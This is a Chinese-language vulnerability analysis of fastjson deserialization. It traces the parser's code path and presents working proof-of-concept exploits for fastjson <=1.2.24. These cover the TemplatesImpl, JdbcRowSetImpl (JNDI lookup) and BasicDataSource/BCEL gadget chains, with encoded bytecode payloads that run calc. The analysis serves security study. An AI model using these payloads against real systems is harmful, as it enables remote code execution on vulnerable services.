fastjson解析流程
fastjsont提供了三种用于反序列化的方法,还有这三种方法的重载。
- parse()
- parseObject()
- parseArray()
我们写一个Demo,分析下fastjson的反序列化流程。首先定义一个Person类,用于序列化。
package org.depenvul.com;
import java.io.IOException;
import java.util.Map;
public class Person {
private String name;
private int age;
private Map asm;
public Person() throws IOException {
System.out.println("constructor");
// 直接在构造函数里写EXP,也可以触发
// Runtime.getRuntime().exec("calc");
}
@Override
public String toString() {
return "Person{" +
"name='" + name + '\'' +
", age=" + age + '\'' +
", asm=" + asm +
'}';
}
public Person(String name, int age,int asm){
this.name = name;
this.age = age;
System.out.println("constructor");
}
public String getName() {
System.out.println("getName");
return name;
}
public void setName(String name) {
System.out.println("setName");
this.name = name;
}
public int getAge() {
System.out.println("getage");
return age;
}
public void setAge(int age) {
System.out.println("setAge");
this.age = age;
}
public Map getAsm(){
System.out.println("getAsm");
return asm;
}
}
定义主类,在主类中调用JSON#parseObject()方法对Person类进行反序列化。这里我们使用@type注解指定反序列化为org.depenvul.com.Person类。
package org.depenvul.com;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject
public class WhiteDream {
public static void main(String[] args) throws Exception{
//fastjson可以根据传入不同的@type,将数据解析为不同的类。
String s1 = "{\"@type\":\"org.depenvul.com.Person\",\"age\":18}";
//fastjson可以根据传入不同的@type,将数据解析为不同的类。
JSONObject jsonObject = JSON.parseObject(s1);
System.out.println(jsonObject);
}
}
提一句,在开发中,也可以使用以下代码指定反序列化的类。
String jsonString2 = "{\"age\":20,\"name\":\"Bob\"}";
Person person2 = JSON.parseObject(jsonString2, Person.class);
在JSONObject jsonObject2 = JSON.parseObject(s1);处下断点,将传入的字符串又调用JSON#parse()方法进行解析,将结果转换为JSONObject类型后返回。
我们看一下JSONObject类型定义,实现Map接口,是个键值对。
我们再跟进JSON#parse()方法,注意JSON#parse()是public static类型的,外部是可以直接调用的。
这里又调用了parse()的重载方法,跟进。这里指定了一个解析器DefaultJSONParser。features作用是指定解析时的一些要求,比如如何处理标号符号。
继续跟进,DefaultJSONParser#parse(),这里是解析的核心逻辑。
首先,判断json字符串的token值。Token是Fastjson中定义的json字符串的同类型字段,即”{“、”[“、数字、字符串等,用于分隔json字符串不同字段。通过token类型推断当前json字符串是哪种类型的token, 比如是字符串、花括号和逗号等等。根据token类型解读json数据。
在com.alibaba.fastjson.parser.JSONToken类中,给出了所有token的定义。
当前字符串token是左大括号,表明当前字符串是一个完整json对象,调用parsebject解析。
跟进,DefaultJSONParser#parsebject(),这里是解析的核心逻辑。在这个方法中将字符串(键值对)解析为一个对象。方法的前半部分处理key值,后半部分处理value值。
方法前几个if语句进行边界值判断,之后进入一个for循环,而且是一个死循环。这意味着循环内
Feature.AllowArbitraryCommas允许解析包含这种非标准逗号的 JSON 数据,第一个if处理 JSON 数组和对象中的额外逗号。
之后定义一个key,继续用if去匹配字符,当前字符为双引号,于是将双引号后的json键值对的key值取出,key后应该是冒号,如果不是抛出异常。
之后会判断当前key值是不是“@type”,如果是,意味着不但需要进行json的反序列化,还需要进行java的反序列化。
我们跟进loadclass,首先会在缓存mappings里寻找看是否加载过,之后进行一些判断。都不符合后使用上下文contextClassLoader.loadClass()动态加载类。并放入缓存mappings中。
继续走,之前是基于json字符串进行反序列化,因为匹配到了“@type”,现在进入到java反序列化的流程。
先获取了一个反序列化器,再使用这个反序列化器进行反序列化。
跟进,首先去缓存derializers表里找,里面存了一些java内置类反序列化实例。
如果缓存表没有,使用getDeserializer()获取,在这个方法中也会经过一系列判断,有一个黑名单,这个是在漏洞爆出之前就有的,主要是基于性能方面考虑。
一系列匹配均失败后,调用createJavaBeanDeserializer()方法当作JavaBean创建一个。
跟进,先从当前对象中获取 asmEnable 变量的值,asmEnable 用于控制是否启用 ASM 字节码生成技术进行反序列化。
又经过一系列匹配,来到JavaBeanInfo.build()方法。这是一个很重要的方法。
它的作用是生成一个包含指定 Java 类的信息的数据结构。在创建java指定类对应的反序列化器时,需要了解这个类的全部信息,如构造函数、setter、getter方法等,以便 Fastjson 在进行序列化和反序列化时可以更正确地、高效地操作这个 Java 类的属性和字段。
跟进。首先获取了Person类的所有注解、构建器类、字段、方法、构造器等。
又经过一系列匹配后,开始进行遍历。第一个for循环遍历method,是为了寻找set方法。第二个遍历filed,第三个又遍历一边method,是为了寻找get方法。
在第一个for循环中,遍历method寻找匹配方法,要满足以下条件。
- 方法名长度大于等于4
- 非静态方法
- 返回值为void或者当前类
- 参数个数为1个
- 以set开头且第四个字母为大写
满足条件后,会取setter方法对应的变量名称,即setter方法的第四个字符,变为小写
之后,
将setter遍历完成后,再遍历field和getter方法。getter方法需要满足以下条件,才会调用add方法。
- 非静态方法
- 方法名长度大于4
- 以get开头且第四个字母为大写
- 无参数传入
- 返回值类型继承自Collection Map AtomicBoolean AtomicInteger AtomicLong
- 此属性没有setter方法
全部遍历完成后,调用构造函数,将遍历的结果传入javaBeanInfo
可以看到beanInfo中有Person类的三个字段
因为两个字段都有set方法,所以beanInfo没有get方法。
之后又经过一系列匹配,
返回创建的反序列化器,调用deserializer.deserialze()方法进行反序列化。
调用构造方法
跟进,在这个方法里就使用反射调用方法了。
这个方法很长,做了很多匹配。
在这一步使用createInstance()方法创建实例
跟进,首先判断要反序列化的类是不是接口。如果不是,使用beanInfo.defaultConstructor获取beaninfo的默认构造器,接着调用newInstance()创建实例。
我们执行完这一步,可以看到Person类构造方法里的打印方法和弹计算器都得到了执行。
调用set方法
继续往下走,调用setValue()方法赋值
继续跟进,还是先进行一系列匹配,最后调用method.invoke()执行。
可以看到执行了Person类的setAge方法
调用get方法
那么get方法是在哪执行的呢?parseObject()方法返回时,对解析结果调用了JSON.toJSON()方法
我们跟进,getFieldValuesMap()方法
调用了getPropertyValue()方法
跟进
使用反射调用get方法
分析完fastjson的调用流程,就可以分析调用链了。漏洞爆发之初网络上流传的利用链一共有三个。
- com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
- com.sun.rowset.JdbcRowSetImpl
- org.apache.tomcat.dbcp.dbcp2.BasicDataSource
第一个利用链是常规的Java字节码的执行,但是需要开启Feature.SupportNonPublicField,比较鸡肋;第二个利用链用到的是JNDI注入,利用条件相对较低,但是需要连接远程恶意服务器,在目标没外网的情况下无法直接利用;第三个利用链也是一个字节码的利用,但其无需目标额外开启选项,也不用连接外部服务器,利用条件更低。
TemplatesImpl利用链
尝试攻击目标系统中的库或框架提供的类时,通常需要使用@type注释来指定要反序列化的类。因为这些类不受攻击者直接控制。攻击者需要利用目标系统中存在的类来构建漏洞利用链。在这种情况下,需要寻找一个目标系统存在的类,即利用链。
POC如下
package org.depenvul.com;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;
//fastjson<=1.2.24
public class CVE_2017_18349_TemplatesImpl {
public static void main(String[] args) {
ParserConfig config = new ParserConfig();
String text = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_bytecodes\":[\"yv66vgAAADIANAoABwAlCgAmACcIACgKACYAKQcAKgoABQAlBwArAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAtManNvbi9UZXN0OwEACkV4Y2VwdGlvbnMHACwBAAl0cmFuc2Zvcm0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsHAC0BAARtYWluAQAWKFtMamF2YS9sYW5nL1N0cmluZzspVgEABGFyZ3MBABNbTGphdmEvbGFuZy9TdHJpbmc7AQABdAcALgEAClNvdXJjZUZpbGUBAAlUZXN0LmphdmEMAAgACQcALwwAMAAxAQAEY2FsYwwAMgAzAQAJanNvbi9UZXN0AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAE2phdmEvaW8vSU9FeGNlcHRpb24BADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABNqYXZhL2xhbmcvRXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAUABwAAAAAABAABAAgACQACAAoAAABAAAIAAQAAAA4qtwABuAACEgO2AARXsQAAAAIACwAAAA4AAwAAABEABAASAA0AEwAMAAAADAABAAAADgANAA4AAAAPAAAABAABABAAAQARABIAAQAKAAAASQAAAAQAAAABsQAAAAIACwAAAAYAAQAAABcADAAAACoABAAAAAEADQAOAAAAAAABABMAFAABAAAAAQAVABYAAgAAAAEAFwAYAAMAAQARABkAAgAKAAAAPwAAAAMAAAABsQAAAAIACwAAAAYAAQAAABwADAAAACAAAwAAAAEADQAOAAAAAAABABMAFAABAAAAAQAaABsAAgAPAAAABAABABwACQAdAB4AAgAKAAAAQQACAAIAAAAJuwAFWbcABkyxAAAAAgALAAAACgACAAAAHwAIACAADAAAABYAAgAAAAkAHwAgAAAACAABACEADgABAA8AAAAEAAEAIgABACMAAAACACQ=\"],'_name':'a.b','_tfactory':{ },\"_outputProperties\":{ }}";
Object obj = JSON.parseObject(text, Object.class, config, Feature.SupportNonPublicField);
以下内容编译为.class文件再base64为 _bytecodes的内容
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class Test extends AbstractTranslet {
public Test() throws IOException {
Runtime.getRuntime().exec("calc");
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
}
@Override
public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) throws TransletException {
}
public static void main(String[] args) throws Exception {
Test t = new Test();
}
}
前面步骤略过,在setValue()处下断点。在debug处窗口可以看到,此时”_name”、”_bytecodes”、”_tfactory”等值为null。
不断单步执行,不用步入,将上面的值填充后,当value信息为”size=0″时,步入。
不断执行,可以看到此时使用反射调用方法。
这里的方法为getOutputProperties()
getOutputProperties()调用了newTransformer()方法
newTransformer()调用了TransformerImpl()方法
TransformerImpl()调用了getTransletInstance()方法
当_name
不为空且_class
为空时,调用defineTransletClasses()方法
AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
JdbcRowSetImpl利用链
利用POC
package org.depenvul.com;
import com.alibaba.fastjson.JSON;
//fastjson<=1.2.24
//Yakit反连
public class EXP_JdbcRowSetImpl {
public static void main(String[] args) {
// String PoC = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\", \"dataSourceName\":\"rmi://127.0.0.1:1099/refObj\", \"autoCommit\":true}";
String PoC = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\", \"dataSourceName\":\"ldap://127.0.0.1:9999/uZKBeqnQ\", \"autoCommit\":true}";
JSON.parse(PoC);
}
}
com/sun/rowset/JdbcRowSetImpl.java#connect()方法里调用了lookup()方法
Alt+F7查找使用,存在一处getDatabaseMetaData()和setAutoCommit()方法调用了connect()方法。
在fastjson解析中,调用getXxxx方法的限制比较多,我们这里看setAutoCommit()方法
方法需要传入一个autoCommit参数。
这个利用链比较简短。涉及一个类两个方法。
BasicDataSource利用链
首先我们了解下BCEL的使用
POC代码如下
package org.depenvul.com;
import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import com.sun.org.apache.bcel.internal.util.ClassLoader;
import org.apache.tomcat.dbcp.dbcp2.BasicDataSource;
public class EXP_BCEL_USE {
public static void main(String[] args) throws Exception {
JavaClass cls = Repository.lookupClass(Calc.class);
String code = Utility.encode(cls.getBytes(), true);
System.out.println(code);
ClassLoader classLoader = new ClassLoader();
classLoader.loadClass("$$BCEL$$" + code).newInstance();
}
}
其中的Calc.class类的代码
package org.depenvul.com;
public class Calc {
static {
try {
Runtime.getRuntime().exec("calc.exe");
} catch (Exception e) {
e.printStackTrace();
}
}
}
com/sun/org/apache/bcel/internal/util/ClassLoader.java类继承了抽象类java/lang/ClassLoader.java,重写了loadClass()方法。
核心代码如下,先判断类名是否以$$BCEL$$开头,若是则调用createClass()创建Class对象。再调用defineClass()方法加载字节码转化为类。
看一下createClass()方法。首先获取$$BCEL$$字符串位置,提取真正的类名。使用Utility.decode()方法解码real_name字节数据,使用BCEL 库中的 ClassParser
类创建JavaClass对象。
之后我们看下如何在org/apache/tomcat/dbcp/dbcp2/BasicDataSource.java类里使用。
在类里有个createConnectionFactory()方法,这里调用了forName()方法。
再
寻找是否可以指定driverClassName和driverClassLoader的值,也就是setXxxx方法。
再寻找是否可以调用到createConnectionFactory()方法
可以找到getConnection()>createDataSource()>createConnectionFactory()
之后可以构造POC了:
package org.depenvul.com;
import com.alibaba.fastjson.JSON;
//fastjson<=1.2.24
public class EXP_BasicDataSource {
public static void main(String[] args) {
String payload =
"{\n"
+ " {\n"
+ " \"aaa\": {\n"
+ " \"@type\": \"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\",\n"
+ " \"driverClassLoader\": {\n"
+ " \"@type\": \"com.sun.org.apache.bcel.internal.util.ClassLoader\"\n"
+ " },\n"
+ " \"driverClassName\": \"$$BCEL$$$l$8b$I$A$A$A$A$A$A$AuQ$cbn$daP$Q$3d$X$M6$8e$J$8f$U$f2h$9e$7d$C$L$yu$L$ea$a6J7u$93$wD$e9$fa$fa$e6$8a$5e062$97$88$3f$ea$9a$N$ad$ba$e8$H$f4$a3$aa$ccu$9eRZK$9e$f1$9c$99s$e6$8c$fc$e7$ef$af$df$A$de$e1$8d$L$H$9b$$$b6$b0$ed$60$c7$e4$e76v$5d$U$b0gc$df$c6$BC$b1$afb$a5$df3$e4$5b$ed$L$G$ebCr$v$Z$w$81$8a$e5$c9$7c$S$ca$f4$9c$87$R$n$f5$m$R$3c$ba$e0$a92$f5$zh$e9oj$c6$b0$j$88d$e2_$f2t$y$d30Y$f8$a1$90$91$7f$7c$a5$a2$k$83$d3$X$d1$ed$GF$8cF0$e2W$dc$8fx$3c$f4$8f$XBN$b5Jb$g$x$P4$X$e3$cf$7c$9a$v$93I$Gw$90$ccS$n$3f$w$b3$a9d$e4$ba$86$eb$a1$E$d7$c6$a1$87$p$bc$m$7dr$r$bar$n$3d$bc$c4$x$86$8d$7f$e8$7bx$N$97a$f3$3f$$$Z$aa$P$a4$d3p$q$85f$a8$3d$40g$f3X$ab$J$99p$87R$df$X$8dV$3bx2C$97X$e4E0$bcm$3d$ea$Ot$aa$e2a$ef1$e1K$9a$I9$9b$R$a12$a5$a6$ce$ee$3fO$b9$90t$97M$bf$cd$3c90s$z$c55$aa$7c$ca$8cr$a1$f3$Dl$99$b5$3d$8a$c5$M$cc$a3L$d1$bb$Z$c0$3a$w$94$jT$ef$c9$3c$T$D$ea$3f$91$ab$e7W$b0$be$7e$87$f3$a9$b3Bq$99$e1$r$e2$WH$c5$u6$e9$cb$e8$962$d4$se$H5R$ba$dbP$86Eu$9d$aa$Nzm$e4$C$h$cf$yj42S$cdk$dfl$i$C$80$C$A$A\"\n"
+ " }\n"
+ " }:\"xxx\"\n"
+ "}";
JSON.parse(payload);
}
}